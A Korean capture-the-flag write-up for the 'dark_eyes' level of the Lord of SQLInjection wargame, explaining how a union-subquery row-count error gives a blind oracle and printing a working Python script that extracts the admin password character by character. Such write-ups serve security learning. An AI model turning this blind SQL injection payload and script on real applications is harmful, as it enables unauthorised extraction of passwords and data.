Lord of SQLInjection (dark_eyes)
풀이
이번 문제에서는 col if case when sleep benchmark
키워드를 추가로 더 필터링 하여 Time based 및 Error based 를 하기 더 어려워졌다. 또한 SQL 에러가 발생하면 exit() 함수를 통해 빈 페이지가 나오는 것1을 알 수 있다. 아래 단락에서는 admin 패스워드를 pw 파라미터에 넣어야 최종적으로 solve가 된다.
저번 문제에서는 (select 1 union select 2)로 2개의 row를 만들어서 오류를 만들었는데, 이를 응용해서 select 1=1은 row가 1개라 정상 쿼리고, select 1=2는 row가 2개여서 exit() 함수가 실행되는 것을 알 수 있다.
익스플로잇 코드는 select 1 union select 1=1
에서 1=1
부분을 ascii와 substr 함수를 이용해서 참이면 에러가 안나고 strong 태그가 나오므로 Blind SQLi를 이용해서 아래처럼 코드를 짜면 된다.
import requests
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookie = {"PHPSESSID": "g6ses6vrl4bnskead01if7jtb1"}
password = ""
for i in range(1, 100):
found = False
for j in range(32, 127):
param = {
"pw": f"' or id='admin' and (select 1 union select ascii(substr(pw,{i},1))={j})-- -"
}
r = requests.get(url=url, cookies=cookie, params=param)
if "<strong>" in r.text:
found = True
password += chr(j)
print(f"패스워드 {i}번째 문자는 {chr(j)}입니다.")
break
if not found:
print("end")
print(password)
break
print(password)
댓글남기기